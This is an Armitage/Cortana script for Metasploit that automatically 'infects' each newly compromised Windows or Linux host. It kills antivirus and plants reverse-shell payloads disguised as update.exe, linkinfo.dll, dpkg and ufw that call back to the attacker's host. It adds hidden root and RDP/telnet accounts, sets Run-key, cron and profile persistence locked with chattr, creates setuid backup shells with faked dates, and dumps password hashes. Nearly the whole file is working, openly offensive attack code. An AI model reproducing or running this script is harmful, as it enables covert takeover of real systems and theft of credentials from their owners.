# Script to install/hide a few shells/accounts
# To Do
# Add dns server
# Update hosts file with fake entries to break patching (evil grade?)
# Author: __int128
global('%infected');
$win_user = 'lls_USER';
$win_pass = '@pplesauc3';
$local_ip = lhost();

on session_open {
	$rhost = session_host($1);
	if (%infected[session_host($1)] != "1") {
        	if (host_os(session_host($1)) eq "Microsoft Windows") {
			if(-isshell $1) {
				cmd_async("sessions -u $1");
			}
			if(-iswinmeterpreter $1) {
				say("Infecting " . session_host($1));
				m_cmd($1, "getsystem");
				m_cmd($1, "run killav");
				m_cmd($1, "run metsvc");
                                handler("windows/metsvc_bind_tcp", "31337", %(LHOST => lhost(), RHOST => $rhost));

				$r_lport = random_port();
				# Generate Payload(s)
				$win_backdoor = generate("windows/meterpreter/reverse_tcp_allports", lhost(), $r_lport, %(), "exe");
				$handle = openf(">/tmp/update.exe");
				writeb($handle, $win_backdoor);
	                        closef($handle);
                                handler("windows/meterpreter/reverse_tcp_allports", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));

				$r_lport = random_port();
				$win2_backdoor = generate("windows/meterpreter/reverse_tcp_allports", lhost(), $r_lport, %(), "dll");
				$handle = openf(">/tmp/linkinfo.dll");
				writeb($handle, $win2_backdoor);
				closef($handle);
				handler("windows/meterpreter/reverse_tcp_allports", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
				m_cd($1, 'c:\Windows\System32');
				m_upload($1, "/tmp/update.exe");
				m_cd($1, 'c:\Windows');
				m_upload($1, "/tmp/linkinfo.dll");
				m_cmd($1, "reg setval -k HKLM\\\\software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v update -d \"c:\\\\Windows\\\\System32\\\\update.exe\"");

				$r_lport = random_port();
				m_cmd($1, "run persistence -X -i 60 -p $r_lport -r $local_ip");
				handler("windows/meterpreter/reverse_tcp", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));

				m_cmd($1, "run getgui -u $backdoor_user -p $backdoor_pass");
				m_cmd($1, "run gettelnet -u $backdoor_user -p $backdoor_pass");
				$rdp = "creds --add " . session_host($1) . " -p 3389 -u $win_user -P $win_pass";
				cmd_async($rdp);
				$tel = "creds --add " . session_host($1) . " -p 23 -u $win_user -P $win_pass";
				cmd_async($tel);

				%infected[session_host($1)] = "1";
				m_cmd($1, "run hashdump");
			}
		}
        	else if (host_os(session_host($1)) eq "Linux") {
			if (-isshell $1) {
				say("Infecting " . session_host($1));
				s_cmd($1, "mkdir /root/.ssh");
				# on load prompt for keys or generate?
				$handle = openf("/opt/metasploit/msf3/data/armitage/id_dsa.pub");
				$pub_key = readln($handle);
				s_cmd($1, "echo $pub_key >> /root/.ssh/authorized_keys");
				closef($handle);
				s_cmd($1, "echo 'administrator:\$6\$W6D9sKYe\$tPihBsmoYXNNBfDhmkT30tYqMdCtMN.zn9HpczbzVd0YMw9P5dAQnjQ4KqUN/4IG5xs4t1SUZP5k82vi5UWGc0:15578:0:99999:7:::' >> /etc/shadow"); # pass = abc123
				s_cmd($1, "echo 'administrator:x:0:0:nobody,,,,:/:/bin/bash' >>/etc/passwd");
				$ssh = "creds --add " . session_host($1) . " -p 22 -u administrator -P abc123";
			        cmd_async($ssh);

				# Generate Payload
				$r_lport = random_port();
				$backdoor = generate("linux/x86/meterpreter/reverse_tcp", lhost(), $r_lport, %(), "elf");
				$handle2 = openf(">/tmp/linux_backdoor");
				writeb($handle2, $backdoor);
				closef($handle2);

				# set cron job
				s_cmd($1, "mkdir /etc/cron.5min");
				s_cmd($1, "echo '*/5 * * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.5min )' >> /etc/crontab");
				s_cmd($1, "echo '*/5 * * * * /etc/cron.5min/dpkg' >> /var/spool/cron/crontabs/root");
				s_cmd($1, "chmod 0600 /etc/crontab /etc/cron.5min /var/spool/cron/crontabs/root");
				shell_upload($1, "/tmp/linux_backdoor", "/etc/cron.5min/dpkg");
				s_cmd($1, "chmod 755 /etc/cron.5min/dpkg")
				s_cmd($1, "chattr +i /etc/cron.5min/dpkg");

				# set profile
				shell_upload($1, "/tmp/linux_backdoor", "/usr/bin/ufw");
				s_cmd($1, "chmod 775 /usr/bin/ufw");
				s_cmd($1, "echo '/usr/bin/ufw &' >>/etc/profile");
				s_cmd($1, "echo '/usr/bin/ufw &' >>/etc/skel/.profile");
				s_cmd($1, "chattr +i /usr/bin/ufw /etc/profile /etc/skel/.profile");

				# Create Backup Shell
				s_cmd($1, "cp /bin/zsh /.kernel; chmod +sss /.kernel; touch -d '4 May 2004' /.kernel; chattr +i /.kernel");
                		s_cmd($1, "cp /bin/tcsh /tmp/X11.auth; chmod +sss /tmp/X11.auth; touch -d '4 May 2004' /tmp/X11.auth");

				%infected[session_host($1)] = "1";

				# Launch our aux shells
				handler("linux/x86/meterpreter/reverse_tcp", $r_lport, %(ExitOnSession => "false", LHOST => lhost()));
				auxiliary("scanner/ssh/ssh_login_pubkey", @($rhost), %(USERNAME => 'root', KEY_FILE => '/opt/metasploit/msf3/data/armitage/id_dsa'));
				login("scanner/ssh/ssh_login", @($rhost), "administrator", "abc123", %(LHOST => lhost(), LPORT => random_port()));

				# Get hashes
				launch("post", "linux/gather/hashdump", %(SESSION => "$1"));
				db_sync();
			}
		}
		else {
			say("Failed to infect " . session_host($1) . ":" . host_os(session_host($1)));
		}
	}
}

popup host_bottom {
	$rhost = $1;
	if (%infected[$1] == "1") {
		item "Re-establish connection" {
			if (host_os($1) eq "Microsoft Windows") {
				handler("windows/metsvc_bind_tcp", "31337", %(LHOST => lhost(), RHOST => $rhost));
				}
			if (host_os($1) eq "Linux") {
                        	foreach $entry (credentials()) {
                			%cred = $entry;
                			if(%cred["ptype"] iswm "*password*") {
                        			login("scanner/ssh/ssh_login", $rhost, %cred["user"], %cred["pass"], %(LHOST => lhost(), LPORT => random_port()));
                			}
        			}
			}
		}
	}
}